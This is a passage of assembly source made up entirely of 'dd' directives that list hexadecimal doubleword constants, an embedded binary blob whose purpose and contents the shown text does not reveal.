8C8CC154h, 8AEF7D00h dd 0B5351149h, 0CE1A0F2Ch, 3B2F0EAh, 4CF15813h, 2B3FF38Eh dd 8807A699h, 0A0009812h, 203B3AD0h, 0E4B950CDh, 660500A6h dd 0CF472B86h, 8802FD01h, 75E0B20Dh, 0AFC84067h, 992F03E1h dd 4C26F6BEh, 0E9AD5090h, 83280F05h, 940081ACh, 3791F42Eh dd 0EBB500E6h, 5C6371D4h, 0BA1DC0AFh, 5209646Dh, 27940FDAh dd 749FEF2h, 2690C4BCh, 0D2642Bh, 8BBB2367h, 40EAB877h dd 939D2800h, 0EEE9076Bh, 165C4C44h, 14E7B503h, 1DB8D1F5h dd 941C7306h, 6F022B69h, 6037C71Bh, 0D7D66Ah, 26F34795h dd 5C482A52h, 0D25E9202h, 40566CE7h, 0B04524h, 424936B5h dd 2D8D7941h, 0F61CE000h, 6262578h, 0CCE2009Bh, 0E4D15647h dd 0DA007750h, 3FC73014h, 0BC07F4h, 0DF8F39E9h, 0EB0C66B4h dd 628E0E04h, 65805F16h, 1983EE8h, 75E1B2A2h, 6001FECCh dd 0D200C9F9h, 0EE108269h, 8E7441h, 9079AC29h, 2A95A067h dd 917CB000h, 0B7451DE6h, 3ADF3AE7h, 60066200h, 0ED80F2AEh dd 43A95001h, 0E1B93BD1h, 0ECE6CFC4h, 75101F7Bh, 5F414020h dd 961DEC2Fh, 6690F900h, 45F606D8h, 0C71E009Ah, 0B2A131E6h dd 8900C217h, 30782659h, 769C61h, 0A42D018Bh, 1DF06E7Bh dd 6D68620Bh, 0E10A8012h, 395B141h, 7A07CB72h, 3588A518h dd 500E2E77h, 0AF83AB94h, 2B74C04Ch, 0DF3D37h, 0D82964E2h dd 0F8859C08h, 0BCE50300h, 578E2D15h, 659501C8h, 7759A136h dd 0D1E2D8A0h, 0BE2D90A0h, 0BA3E5F0Eh, 4497A024h, 7D03C99Ah dd 5A5900C8h, 88841F18h, 0D302D842h, 8A35A14Dh, 70C4C0ACh dd 50641E20h, 0F7530048h, 5BE6A99Dh, 0BAFF450Eh, 0C1007C06h dd 3AF27E71h, 4E2101D4h, 25E06B9Eh, 934DCCFDh, 1D75B400h dd 0C4D70AF2h, 7D6C00DAh, 0A8D188CAh, 531E6E2Ch, 0A15C21AFh dd 0C0C5B4CFh, 739AFC5Ah, 22A60043h, 0F4011DEh, 6300BCB0h dd 6DF383FDh, 7FBF4C4h, 4866252Eh, 5F14C342h, 0E01070C8h dd 99710C03h, 9008C2h, 0F0478810h, 0D79F2C95h, 0B393E00h dd 3DC3EABEh, 0FEF5004Dh, 0BF8B436Fh, 7B00C188h, 0A6C05391h dd 0AE5BC7h, 11B1749Bh, 0DBEA745h, 2C51F300h, 211444C2h dd 46FC1D40h, 3B01FDEAh, 0C5599EDCh, 7042077h, 0C378D900h dd 40E2734Eh, 0B40C0358h, 60AEE5D0h, 3E472798h, 7717CBA0h dd 11BFB20Eh, 0C82E20EDh, 0F6FEDDDBh, 3187D12h, 8957A17Ch dd 9589F565h, 843CE0BBh, 97A62400h, 49D69DD3h, 4A813AFFh dd 0E40E0F7Dh, 6A20ADA4h, 51018C91h, 0A5178607h, 47C05ED8h dd 142645Ah, 0E8993B6h, 0C4FE62F2h, 210FE27Bh, 600190B2h dd 721BFB1Ch, 0D6550007h, 3DB411C0h, 200982D9h, 8377735Ah dd 0C8B77631h, 17AC5448h, 0BD8D3Bh, 0C5932155h, 3CB896BCh dd 0EA6E6817h, 0A7019C00h, 626BE1h, 19C8D3A4h, 2B5BB941h dd 1A06140Fh, 0C95DA2D1h, 50FE04Eh, 3F917CE0h, 198F76EBh dd 0B660828Ch, 70FD5483h, 95DA5F00h, 0E1F692F8h, 0C85D0008h dd 0C9237A71h, 3C00E95Ch, 25CCB6A2h, 3F31E0F8h, 38276FCh dd 419EE551h, 5F7C00D7h, 24AFDD62h, 7E834EEh, 6032A96Fh dd 5A17DF3Eh, 0ECF452h, 28067C8Bh, 5F2666h, 84BF8A05h dd 0AD97E25Ah, 1B54EA00h, 0FA06B0B1h, 0B64F004Ch, 0FB1EA5EBh dd 7004991h, 0C5EF2B1Ch, 0ED69A6h, 0E9DB03FDh, 0D441AA8h dd 0F1AF180Fh, 799260B6h, 7DFB5168h, 0AC9D00FFh, 0D698160Bh dd 4B0038E9h, 22999388h, 445985h, 0B435F4F2h, 0A62D299Dh dd 1500EDB0h, 8A086393h, 0CD696Ch, 72241BD6h, 7AB4CA48h dd 84F6F800h, 9329AAEAh, 26640E35h, 9A204BBCh, 0A31085A6h dd 0FD6F7902h, 6091404Dh, 8DFA08h, 6DB8ED88h, 38C92477h dd 1900FBEAh, 0FC98896Fh, 2A8DEB4h, 59364532h, 0A8803356h dd 8BADF1A7h, 14271B03h, 9024A994h, 0E6937EEBh, 8D0D00DFh dd 0AFBDBEEEh, 0C0B019C7h, 0C2C69E0Bh, 0D530803Bh, 7BEB7E95h dd 3B30FF8h, 0A83415D6h, 0A011E409h, 0C5179083h, 0DE6067D8h dd 0CFA2C000h, 64DA4179h, 8E87009Dh, 6E4D33A5h, 0FD17DFAFh dd 0B700292Ch, 671EB0BFh, 0C0944848h, 4D58807h, 0C0DA50h dd 0BE0DA680h, 98A87DB1h, 980FF7C2h, 63EB1A7Bh, 78D73D1h dd 99ED3A38h, 8A47E02Dh, 0A1009A57h, 0C3885D27h, 12458967h dd 1AF6A08h, 0E6483F41h, 97906057h, 0FD05F1E4h, 54DC5B91h dd 77B68C1h, 708960h, 45027579h, 0DB51FDF3h, 470AAD00h dd 0E2492DE9h, 0EFCF4BBh, 719378EAh, 77095E2h, 3883543h dd 921C2318h, 2B9DF66Eh, 836BFF80h, 3A4BA81Fh, 9401F116h dd 24C8C0C1h, 40B5EC3Ch, 8FBEE83Ch, 40A4DA3Eh, 2913639Eh dd 39C31C67h, 8D9D0Dh, 774DBD09h, 18146D90h, 0BA34854h dd 80B630FAh, 5E88B2D4h, 19470068h, 3995CB5Fh, 90F2597h dd 80F8A7FFh, 28FBD666h, 8C0C0067h, 0BE9467Eh, 9314F0B4h dd 0EA89EEAh, 0EC09DE24h, 7108026h, 0EB1E9CC0h, 43827946h dd 0A0803AE0h, 2C0ADD71h, 0F528EE01h, 7CE3919Dh, 1E15030h dd 378E5732h, 3013053Ah, 8CB04D18h, 0A3C9FB00h, 10CAB944h dd 0EE3E05B6h, 447AB3E3h, 818208A4h, 0D0CEF536h, 7006F8Fh dd 9888A8ACh, 900CC069h, 7E483D4Ah, 0C1852A00h, 10B3DB3Ah dd 0C2F4AE7Dh, 74DD1E00h, 2156BC77h, 0C32B02F0h, 0C9ED9F86h dd 0CAD63CE0h, 0B30BD500h, 933D2E45h, 6DB0004Eh, 9DFA7739h dd 7006A14h, 0E3F1DF2h, 2E345Ah, 44A9840Ch, 0B1306735h dd 1C2CC705h, 0F991535Dh, 60C0ACE0h, 7D6B88Ch, 0AE9DCEB4h dd 71E91FFAh, 92ECAC00h, 0F2072F6Dh, 899C433Dh, 35628410h dd 64830048h, 0E1BB5874h, 7A00186Ch, 1E9F792Ah, 1E217C2h dd 1D9D5322h, 0D864C9A4h, 68C0ECB7h, 0F0955BF3h, 0FCED0014h dd 0B3D4FF44h, 9A0292A5h dd 86BDBF76h, 11DE80ECh, 0C5F583h, 1C4F6E5h, 7F85729Fh dd 45933302h, 0C0E0E726h, 584AD9h, 0E1473694h, 99DAFF52h dd 0DE002CB0h, 48C49E22h, 0FA7B6C37h, 0E58E00BFh, 28B89D86h dd 4501A634h, 7768ECB4h, 0EBF0DB1Dh, 638E014Ch, 9ECBBAA4h dd 9000CF97h, 0CFBD423Ch, 0FB95223h, 857CC4AEh, 0D74EC5BCh dd 73CC008Ah, 0E9FC10ADh, 157A7500h, 7A85AF7h, 53490083h dd 0E4E70B4Eh, 0CA00604Dh, 0CEBEAF2h, 0DAD059h, 56E5C61Dh dd 8FD92E41h, 8BF3EC00h, 0F6172F4Fh, 0EFFF0027h, 9B4D0EDAh dd 99FA3239h, 7F25EE00h, 0EC893797h, 97A65848h, 94CA201Dh dd 0A7BE824h, 971D2358h, 0C8973ABCh, 25E5000Fh, 0D4016038h dd 9F8C4919h, 0A450C61Ah, 468D2Ch, 75FDFCA8h, 0C547E94Fh dd 0E59FD900h, 5D0665B1h, 0AA8700D6h, 9AB8E409h, 1707CE1Dh dd 0EFE504E6h, 4081BDF2h, 704AA32Ch, 9A4403A4h, 0EE7E038Ch dd 833B8875h, 0ACAE2850h, 91BC5807h, 74507580h, 1E708FFBh dd 81842F59h, 9D230A2h, 41FDE412h, 88ECA303h, 83AFA455h dd 96D18895h, 29CF3481h, 849F00F0h, 7988F5DBh, 0FCEFDCA9h dd 8350E739h, 5003A6A0h, 34FD1D52h, 642006BEh, 0C672968Ch dd 0AF03B9EEh, 51F76822h, 0C1F100E0h, 95DDED4Ah, 870EF4FFh dd 0A7447h, 3EC800Eh, 0D26E03C4h, 39DDE1F1h, 30BCF699h dd 0BB0031F9h, 9BDE91E7h, 1768EA3h, 3F6E5D1Bh, 0F819D3A7h dd 8F00C906h, 0C1EF217Ch, 0FD889118h, 9440E9D9h, 0EA7E746Bh dd 30803A5h, 0D369D63Bh, 3C2679E0h, 71B08F02h, 0C013ECF7h dd 977EF8h, 68B1AFEAh, 761FACA6h, 8C30D728h, 39D6C12h dd 5599E042h, 9262E078h, 8B120460h, 80C67980h, 0AAB89760h dd 313C8300h, 1B50CF69h, 93C4A364h, 0F612EB35h, 18F36028h dd 72B794CFh, 0EDFB080Fh, 0DE4800EAh, 428516Fh, 1CD4C338h dd 3F449059h, 0A738B077h, 0D29181C8h, 3DAF4C94h, 0FA5B3830h dd 0D1370051h, 3A26DDF8h, 68C7B19Ch, 30C0B84Ah, 30FE309h dd 0A4672722h, 0DA986160h, 3600786Ch, 9E803FF5h, 0C0F95CE6h dd 532169A1h, 0E0020249h, 0DC373204h, 0D7B740DEh, 2C360027h dd 6416F480h, 0B1034ABAh, 7805FBCBh, 0A7810BCFh, 7800CC21h dd 8F027063h, 2377810Ch, 77CD4E1h, 18DB3442h, 3F8E70A4h dd 24006A87h, 8ACB6C52h, 39867646h, 0BB03129Eh, 4356400Fh dd 0C5D95007h, 8C70A889h, 649A3B2Bh, 80AD1835h, 4A401ABCh dd 0C8E30D51h, 0BA000B3Eh, 20787AFFh, 426E4BDh, 67E2B13Bh dd 0F9A880D4h, 7034675h, 0CB373A25h, 8330000Ah, 2F137C3Eh dd 0B400A109h, 0F0F223E8h, 548B4Fh, 2085C1FBh, 83DAD7E2h dd 0E39738h, 0D8F54B6Dh, 1F785A5Bh, 0C1F8B2h, 0AD391599h dd 0A9007ACDh, 0C3EE04F7h, 74457C4h, 3E95FB42h, 0EBB204Ch dd 0BF90531Bh, 0B20DFE00h, 91F4569Bh, 284371CEh, 0C01FF8h dd 7A92F6C5h, 573EF9F0h, 0B90BFA02h, 408FD039h, 1D2E3298h dd 9F9DA3C4h, 384600C1h, 35136480h, 0C007B326h, 6CF1CD00h dd 2F4472h, 1931E4DFh, 39F7797h, 1300587Ch, 0E56B223Eh dd 0DA8E2Ah, 84EF6933h, 0EE29C65Bh, 0F487549h, 0A98D11AAh dd 7D0CA09Ah, 0E21E4962h, 866C1D09h, 0AC35C287h, 2061F72Ch dd 0E7B110ECh, 2202000Ch, 9C73FFC9h, 967CFD21h, 5707F7EEh dd 0BED2D113h, 4B5D2302h, 4779E0E4h, 8D809F9h, 3CA0333Bh dd 9DF20631h, 73106490h, 8F09F643h, 2C874F65h, 36FD63BAh dd 8DDDB009h, 2668A3EBh, 9F60C770h, 0ACF966h, 0D257AD04h dd 39011C31h, 81251000h, 93541BECh, 0B73759Ah, 4643B8CCh dd 8ABFCB00h, 7D00ABCBh, 0C9569688h, 9066E8A9h, 0B9FF0F63h dd 0D861E70Ah, 0F45C6F74h, 310A72D7h, 0BB158B71h, 91DB0600h dd 0B0B3AA28h, 0FC6B48E8h, 95C9B700h, 4D15E412h, 6D740B07h dd 3850601Ah, 1E7526F2h, 0A437A56Fh, 762904D0h, 0ED358192h dd 0AE860C4h, 66006FFAh, 0B64B9DD1h, 0F4E9C097h, 0FBEF009Fh dd 88D4D21Ch, 0DFE2A16h, 1DDB4200h, 40D7ADE8h, 2DA30025h dd 0DC80F81Fh, 0CD04BE09h, 0D5CC5D53h, 9293DA80h, 2AA4A007h dd 0AC210F83h, 0AE20812Dh, 22967ADFh, 0E702F672h, 761CF29Bh dd 0B6BF4089h, 5B1B0798h, 0BE3DC188h, 0BAA0B3C0h, 58E25E62h dd 4147C400h, 3F9EB190h, 936F13BEh, 20C400C9h, 0FB18F95Eh dd 96C32402h, 0C0E13387h, 0E31FE4h, 39093423h, 0D6A4AE53h dd 4115400h, 694F9F9Dh, 0BA2A0037h, 4212875Dh, 6F003FB2h dd 4D4CE990h, 71EB46h, 2B530FA5h, 0DC8963BEh, 600094B8h dd 0D53ED39Bh, 30C50A6Ch, 32F00535h, 4300B6F4h, 45BCF155h dd 138547h, 1C90ABA0h, 2EB27CA5h, 11E1B3Eh, 0F4839133h dd 0EFF45A3Dh, 234A0070h, 0DBF89AD3h, 0C5007CD4h, 9F472129h dd 27363Fh, 6D0302EAh, 38EE0AC0h, 10FBBD00h, 3956FA65h dd 643A008Ch, 76B766DFh, 7D1E9FEDh, 0CC408933h, 55A93451h dd 2817A09h, 3DD20E31h, 0C883D1B0h, 0A7E806D5h, 7900E9A9h dd 1194C27Bh, 4875E42Fh, 0B31610F8h, 8A391CDCh, 0FD4ECB7h dd 0AB00661Eh, 3F8C3AF5h, 8D976100h, 0B1084A6Bh, 7CA7B0Fh dd 366CD97Bh, 4C02C0EEh, 0CC032071h, 0F62BE1EBh, 0B616E174h dd 0D5A3A840h, 1B36075Bh, 203C486Dh, 0DD86ED06h, 20F45Ch dd 17F2BE14h, 140C5A23h, 0B8064DCBh, 0AE34FA00h, 7432FD82h dd 586F8B24h, 60907F3Bh, 0E30FDD26h, 64001313h, 5DAC686Bh dd 42D100F5h, 7F03C89Ch, 2F0052AAh, 183486E0h, 0A1444B95h dd 24CCEEB8h, 803093CCh, 1F0ACEABh, 893A7038h, 59057BCAh dd 9A4C8508h, 4FB9B800h, 0D4D7F1h, 9D116852h, 0C3EBAAA2h dd 0AE967400h, 40D3F24Ah, 4C2009Ah, 1578B97Eh, 13782A77h dd 6A8B8100h, 0C135094Ch, 30DF61Ch, 5E4D8EFBh, 0A8B8C702h dd 7B0EF2D6h, 602921AEh, 0FA1CDE3Fh, 9DD00026h, 0A433A7B8h dd 8000810Fh, 15CAC24Bh, 0CB837089h, 93006E10h, 0BB1E1CBFh dd 0F92E2812h, 0C6EAC881h, 55B030h, 1976662Dh, 757D6C17h dd 0EB002098h, 0EEA66DA4h, 7AC87h, 1980C2F2h, 99505D13h dd 6C0ABA00h, 96A2157Ah, 4B064h, 2232A563h, 0FD0C916h dd 3CCB9D00h, 0B0CBD2Fh, 0E9F8037Ch, 3FE16138h, 14B35AA8h dd 339248h, 733AD10Ch, 704A5B21h, 0ECE14C7Eh, 0CCE98107h dd 2E599062h, 40FC6EF2h, 0ADDDC400h, 0A95B4111h, 25A5121Dh dd 9DA60F46h, 8E50A7A0h, 0AC09B7C4h, 93E703h, 0E2F81567h dd 3FCD0078h, 0D40D2C97h, 3100CFF1h, 3B12B5E5h, 2A42B989h dd 42904CDDh, 47EB01CDh, 0DF3E88C5h, 21AFCCh, 836E4A35h dd 3D5341C7h, 99565E09h, 1D8848Fh, 0D8A6B480h, 52201D0Dh dd 75548129h, 707F2D2Fh, 3300FCE6h, 0F8F2F096h, 3F8132h dd 4F53619Dh, 9F5C11A6h, 0B1F71500h, 0AEBC60ACh, 7B27F47h dd 19B0C103h, 2080599Dh, 6E708FFAh, 5424FD7Bh, 220188F2h dd 352CF504h, 0CC684E0h, 425BC42Ah, 4B0FD8D0h, 0C0564A5Ch dd 0F8447659h, 5AB007Ch, 0EDF1D9F6h, 9500238Bh, 0BE9FBAC8h dd 10C29E0h, 0A6F95FF0h, 0CC10ADA9h, 10989306h, 12DFCF00h dd 0F58B6A86h, 17015C6Fh, 0FEFB1E00h, 0BCE9E178h, 97DC4D00h dd 93275AADh, 450B0096h, 0EDE879Ah, 0D0026C6h, 25FF11B3h dd 341510h, 21ADE35Bh, 0C2D85E5Ch, 7779DC00h, 4F42BEEBh dd 812F2C39h, 0E8F3007Bh, 0BB656041h, 0F8374Ch, 670F4D48h dd 3BD1F758h, 0FBBD34h dd 0ADCE2B90h, 32E5A2E3h, 0B4A40C00h, 88371161h, 59751FCCh dd 0C0DF1CDBh, 0E4BD4BF2h, 212E9D7Ah, 10032C61h, 0C0A0B78Dh dd 2DA9C43h, 0F9BF4007h, 6C687096h, 0CA01D2E2h, 0D86BDE56h dd 0D043E7DAh, 30CC8EDh, 0AE300083h, 65B9F094h, 4E001469h dd 0FF20D1E9h, 70118793h, 0A278003Eh, 0F661A41h, 943CF65Fh dd 0CB618005h, 6D471FA3h, 0D96B2610h, 0F21C399Ch, 0E2A800EDh dd 3EDD1E16h, 74B2120Ch, 0EA15899h, 3ABEEE23h, 5A28EB43h dd 0C96C80EFh, 0DB00DD02h, 360903B1h, 0D4FB60h, 8CD9FA9Ah dd 8594A1ABh, 0D3678F19h, 60707B7Ch, 0B1BA0037h, 164E87F0h dd 6050906Ch, 0C01FB48Ch, 0C6408333h, 7B637FACh, 3627D45h dd 0F74BA992h, 0DAA84FD4h, 5D138179h, 184095A6h, 3A6E2CC3h dd 2ABE12ADh, 0C84E84Fh, 0C096139Dh, 0B012EA83h, 37D30BDAh dd 4280E46Ah, 0E7FCAC52h, 0CF813Ah, 5C7F0673h, 60015358h dd 88F010E4h, 0BA078E4Dh, 19329D81h, 82449340h, 3F480060h dd 616DAF08h, 0DA04E77Dh, 723CFBECh, 8A5F2AC0h, 23F83817h dd 0E3FE0980h, 0D1A6C6BDh, 62460424h, 3FF42C01h, 0D020FB92h dd 0E657011Ah, 0D7E3A50Eh, 9064F8C7h, 1C055574h, 0F08DC9EDh dd 1B0C000h, 1E66A60h, 0B258703h, 425C0DACh, 0BC8394A0h dd 0CBB8ADE2h, 810043DDh, 328A44F3h, 0D229CCh, 3D066374h dd 86EAA29Ah, 19AB1EC7h, 1F917570h, 6067008Ch, 0BC90152Ch dd 9751B2FDh, 0F3C120A0h, 0B6A65E00h, 505B0665h, 4087002Ah dd 4FB17A3Dh, 6D010A6Bh, 0C564E80Bh, 0B920134Eh, 0EA620377h dd 0C0FE7A60h, 0ACC9B5B8h, 9BA3D07h, 0CD773684h, 0F80B43A3h dd 0C06ADC4h, 7B2535D9h, 0FE5AF2D0h, 92BB3002h, 13F061D3h dd 26DD2CF8h, 2182550h, 23F6EB02h, 28B8A680h, 72B0966Fh dd 0AB4C8302h, 0DDDEF509h, 0FC016989h, 0C443CC82h, 8F3BCFC4h dd 5986ACAEh, 0F238CE00h, 16E2E8B4h, 169DB8h, 60A00748h dd 1B033BC0h, 3ADE6783h, 4E03E8F8h, 0C2111F0Bh, 99EFC12Eh dd 0EC1220C8h, 1400DE3Bh, 0A209CA80h, 270195BEh, 34833902h dd 0ECF069C3h, 2C01D12Dh, 42F99AFEh, 78E0688Ch, 73BB019Ch dd 0E1DDF8A6h, 0DADFC00Bh, 0F6600E00h, 0E8B55BD8h, 600DE2C6h dd 8D1A18DDh, 0B901BD4Ah, 0B6DC8F2Bh, 60806146h, 0BA3AF6D2h dd 5EF8D8A1h, 0D090D400h, 132734E4h, 8C3230EBh, 0C4B044F8h dd 0CA549100h, 0AA89C605h, 2DC00C5h, 95ECBE49h, 63E6756Fh dd 6A9EA300h, 669D47B8h, 0ED570328h, 1AE91216h, 0B13490E8h dd 0F90049FCh, 0F8D61D4h, 0E2C0CCE8h, 4A9648F7h, 8240AF00h dd 0B5BB08E5h, 724C7E06h, 88BF18h, 0A22425D1h, 854E6C6Fh dd 68834500h, 9ABA541Ah, 181F021Eh, 5342C391h, 0F878EC41h dd 717B8190h, 98A48F02h, 40AC460Ah, 30AA10h, 0C3F6B22Eh dd 65AF2281h, 59E06B09h, 0B71800ACh, 3E24C198h, 53047814h dd 8087D17Bh, 8E2A5E7Ch, 327FC676h, 36999A00h, 0D6BF8515h dd 0F566009Bh, 0E4553550h, 73078A20h, 6AC38B5Ch, 3CB7EA0h dd 56B203A9h, 627FC29Dh, 0A46017BAh, 48B86994h, 0B5AFE950h dd 8048B43Ah, 57B29DF3h, 9747A12h, 0A8449836h, 809489F5h dd 9D0B4DC6h, 6EDC072Bh, 4045E5D8h, 8387D56Ch, 29228C03h dd 0A03FF606h, 0B069EC81h, 8D630F2Eh, 0D1C04897h, 0C32C51CCh dd 40202863h, 0E0088969h, 0AE10A823h, 80C738EAh, 27E658EDh dd 94070Fh, 0FB209A5Dh, 5E770203h, 0A24C1EE8h, 0A1441F82h dd 6374E94Bh, 25C1B4B8h, 0B9DD498Ch, 0BF00E03Ch, 55C9CE5Ch dd 60075A0Ch, 0CD7DBDE7h, 25419D0h, 0E46F00EDh, 0C8393059h dd 205CF651h, 2EF02728h, 3E74A0F0h, 38133D82h, 68954CAh dd 0D00F31D0h, 0B5EBBFA0h, 0F906B971h, 84B3AEDAh, 0CBA00578h dd 0B8C51758h, 0D38918F1h, 0C3C18h, 5D51613h, 3F7AA9A7h dd 36CE048h, 116C4C57h, 5B781244h, 0ABB500ADh, 74862D06h dd 0C0F8426Eh, 0D56349FFh, 4C92B053h, 5C0080BEh, 0D32C3517h dd 0B02DD608h, 0E6388083h, 27AE859Fh, 1C826628h, 0ECD15F5Eh dd 329E688h, 0B5A2BD28h, 0DEEEC80h, 85CA5B00h, 24A9A038h dd 730E0BBh, 4773A21Fh, 0E9B596ECh, 3CF50513h, 0A41C44C0h dd 0D12703FCh, 6A3B0890h, 0AF8C1904h, 7CF011D9h, 0FE530006h dd 509A6804h, 19EE3716h, 0A40022E6h, 56591B3Fh, 0A492F05Ch dd 0F9E004D4h, 0C1662A7Fh, 6885C808h, 42DCB0D4h, 0CCF9CB7Eh dd 825BA8C0h, 0EB0048BEh, 9956039Eh, 0EE7F97h, 8EA41869h dd 0B9F94B67h, 0E6EF280Ah, 80B820E7h, 0B4678D11h, 2BB9DD0h dd 0D8F161B6h, 18D8EAF4h, 8EADA100h, 0DF9943F7h, 79328182h dd 0F14D35D4h, 0CE02E380h, 0A504035Eh, 0C5964F6Dh, 63663EE8h dd 0A4B5D06h, 788420h, 1CCDE880h, 0C63EB5C8h, 34D6C019h dd 80806EC0h, 0C40A54E9h, 0B2F712Ch, 0BB708063h, 3E0F94h dd 80569CBh, 17CF760Eh, 9E1D1913h, 5B867700h, 6E727F4h dd 72A00D58h, 0A31D7048h, 68C4C82Dh, 0C080C486h, 1380B84Ah dd 7D3FAB1h, 81738550h, 60D2ED47h, 13495368h, 2379758Ch dd 1F4C69E9h, 0AC89D080h, 338203F1h, 116FA0E5h, 20D858C6h dd 4090A91Ch, 82F1053Fh, 60DF72EFh, 0B278AA40h, 2446B7FAh dd 172964h, 4E69087h, 91003982h, 0CA3285CEh, 15DDCA3h dd 9A01FD03h, 85DA274Fh, 0AC836110h, 42D1C8C0h, 5291000Eh dd 623472B4h, 0BB16126Dh, 0BD00A578h, 429FDDDAh, 0AEB888h dd 8FEBAAABh, 0BA9D7792h, 4F8EA900h, 76564908h, 2E3B036Bh dd 20C43AF4h, 0F8B14EF0h, 122C9D38h, 9C5D1C66h, 99873801h dd 30249FA9h, 72D30486h, 81BE7BC1h, 0C0FA2900h, 0ED544689h dd 881F47D8h, 31C09F78h, 0AC62EB4h, 4AA90F70h, 0B1E06774h dd 0F5406886h, 3DC21500h, 57C9C8D5h, 0A7C502B9h, 0BDAEECF6h dd 38346C48h, 9B895CB6h, 7D60275Ah, 22E1AEA0h, 25FA79h dd 0DA9E87E6h, 0A1F131CFh, 47267BFAh, 1600F803h, 2DAB7D0Fh dd 0AE9A032Eh, 9B5DEAEFh, 0F9C76100h, 1A03711Eh, 27763BAAh dd 0C970804Ah, 19313E11h, 0B5ECFC5Bh, 7DF87824h, 6B6CB6B6h dd 8B06904Ch, 5446FADDh, 741C0140h, 0AF37B59h, 2AF070CCh dd 31D1A300h, 35E3B7E7h, 84C00BCEh, 8480A95Ah, 55E87211h dd 64753EECh, 0C42FAD0Bh, 543480FBh, 0E4DD605Dh, 43E5139Ah dd 66B000CBh, 0AE968E01h, 0CC0F214Bh, 54648093h, 4865FD04h dd 490044EFh, 0A3CBCD82h, 0F000CA6Eh, 0C321295Fh, 0B6BD2FDCh dd 0D01650h, 6C5D5A58h, 26008066h, 0B36C2E6h, 7420B3h dd 0F46D21E3h, 0EDF33825h, 66BC3B0Ch, 0B05368E0h, 6F8C0060h dd 0A7A91CA6h, 0FE28C2BBh, 4A06B4EBh, 81A0C66h, 0BE093A28h dd 235017A6h, 935179Ch, 6418F404h, 61002F5Fh, 0E75A15D2h dd 9C3FC5F5h, 0D6030008h, 0D7CE5278h, 39BD39h, 0CAB86CABh dd 0F3A0673h, 17057DA3h, 5C8362E9h, 0AC17720h, 30DFD38Ah dd 0EF41DFE8h, 4D686500h, 4FBBA5Eh, 489DECC8h, 0B500526Bh dd 670B91BDh, 0CD776430h, 0F81B0609h, 1624805Dh, 0E57BC535h dd 0D36530h, 55901D80h, 5D4E8F17h, 72CCC201h, 88FEC10Eh dd 6C6420F1h, 0DB8703D6h, 4A8DDF93h, 0E4F59CD1h, 5B13154Dh dd 3840B11Ch, 0D937F285h, 18641D3Ah, 10797DAh, 1D0826CAh dd 0DC2CBEh, 0A6747351h, 0E5FFF2h, 90EEC5B6h, 84695BBCh dd 93A85700h, 0B739BE2Dh, 20D1027Dh, 0C6DEE737h, 3D0AA0D0h dd 0C056EA09h, 84A1F780h dd 3D90F63Ch, 1196B806h, 0BC00BB4Bh, 0FB13A814h, 0EC70B832h dd 74241752h, 0DF9C01CBh, 0C3BEB669h, 89C372C8h, 46784F03h dd 0B83021AFh, 7569396h, 0AB20E3ECh, 0E912329Ch, 0F03465C0h dd 233AD600h, 0F6554075h, 0C5E81267h, 484C1D06h, 5900B973h dd 6B5D48D0h, 0EAA902DFh, 8927E5B8h, 37C04AE3h, 0FB5028B3h dd 8D02F5FCh, 0B44B05DCh, 4874789Ch, 34E0085h, 204F4274h dd 7260D7B0h, 0F7061AFCh, 17BF46D0h, 94270740h, 0A0971FD5h dd 2B51333h, 2B537F01h, 565B8A6Ah, 245FDCh, 31925244h dd 8E9D4F3h, 80212600h, 0DA1D1728h, 0CC020099h, 5E75C6B0h dd 76005445h, 0ACC0E298h, 0AD0B79h, 0A97C0155h, 0BFB934BAh dd 0EB67B000h, 0CFE5D3BEh, 0CAA60794h, 8089AC08h, 0BF3927F6h dd 74E79200h, 0A979EE80h, 0FE7F8Dh, 4207D8D9h, 1D44CEE0h dd 68EAC500h, 0A9F11661h, 0B3480155h, 0C4FF607Dh, 0E0E3C8DCh dd 708DD801h, 62F9B6CBh, 38ACC0h, 218EE43h, 9C5D202Dh dd 0AA8DF00h, 1F81B01Ah, 85F8E5A6h, 20AC00C6h, 5D60D959h dd 0EA004DC0h, 336E3F83h, 1A391A5h, 9FE35C65h, 0BAEF1610h dd 951E0011h, 50E99333h, 0AC070023h, 9D05F06Fh, 0ED00D3E6h dd 0A20BCEF5h, 0ED1D469h, 0BD8EFD54h, 8F16F120h, 1800809Bh dd 0B9071BEAh, 3F4E4078h, 96002756h, 92EB665Dh, 0BB0036CEh dd 0F32CD4C1h, 8B0430h, 36C1660h, 0E4456B23h, 0CE285800h dd 0CBC237D5h, 9B923DBBh, 0E26CF103h, 4CA07F60h, 4B0584F7h dd 38882C05h, 8F7F80AEh, 597F11F5h, 732A891Bh, 0C8FFBB96h dd 6D4310h, 26CC6327h, 28A9AFD5h, 1A8F3900h, 89DBFBD0h dd 5318001Ch, 0E3FC84A7h, 233CD360h, 44996h, 8E202907h dd 4BA41Dh, 2C1CE902h, 0FBB01F4Fh, 87CAE400h, 9F2425FAh dd 0A5343F4Dh, 0AE87813Dh, 0F058A90Eh, 68719872h, 9A1B0300h dd 5E6BF657h, 1310005Ch, 0D1C75DB6h, 4179B08Ah, 0D0B2312Eh dd 67350Fh, 387C0C9Fh, 807AA0h, 91DEEEF0h, 0A32FFEABh dd 3F3A3E7Eh, 524C0E3Ch, 0C98660D2h, 0C08D169Ah, 2CF1CB60h dd 4C90BC05h, 0F6BD6E03h, 0EB261869h, 0D3208980h, 0FB05E8h dd 64D712DAh, 624088E2h, 8B7D9109h, 0ADCA0034h, 1472D8Eh dd 0E1588FE3h, 71F2805Dh, 0EAF62098h, 7C3ACB0Fh, 7324038Bh dd 0E41020E7h, 21C814F8h, 0DBA400D4h, 0DDAD04BBh, 0F45885F0h dd 0CD0D1741h, 0B4463600h, 236F1Ah, 7A292C1h, 11D2FBE0h dd 0C9AFACC0h, 6CC686EFh, 0BB68384Fh, 6626F100h, 4A01F985h dd 130CA0F3h, 127CA1E1h, 17B36080h, 0CBD5E5CAh, 0B51CD100h dd 0AE7EFE28h, 0A56300CEh, 0A9B63627h, 0F60039DEh, 0EA07EDFCh dd 0B2BC7Bh, 0B90F7DD4h, 653D6CC0h, 0F60FEC7Ch, 63E1084Ch dd 17A3C104h, 426AE02h, 0BF7BE9C3h, 19320C3h, 3C36C090h dd 0BAA6BF85h, 0A7208E30h, 0E729C003h, 0C0DC0F55h, 3226AF18h dd 7B00EEE0h, 253AC0E4h, 0F09266CCh, 2F431868h, 75BC2880h dd 0BE8D6B18h, 79480EE0h, 0B64C04EEh, 82CA219Bh, 0A048909Ch dd 0C06193E7h, 0B056AE89h, 35B15180h, 8D190C1Dh, 8A5CD1C2h dd 0B5D0818Ch, 49800582h, 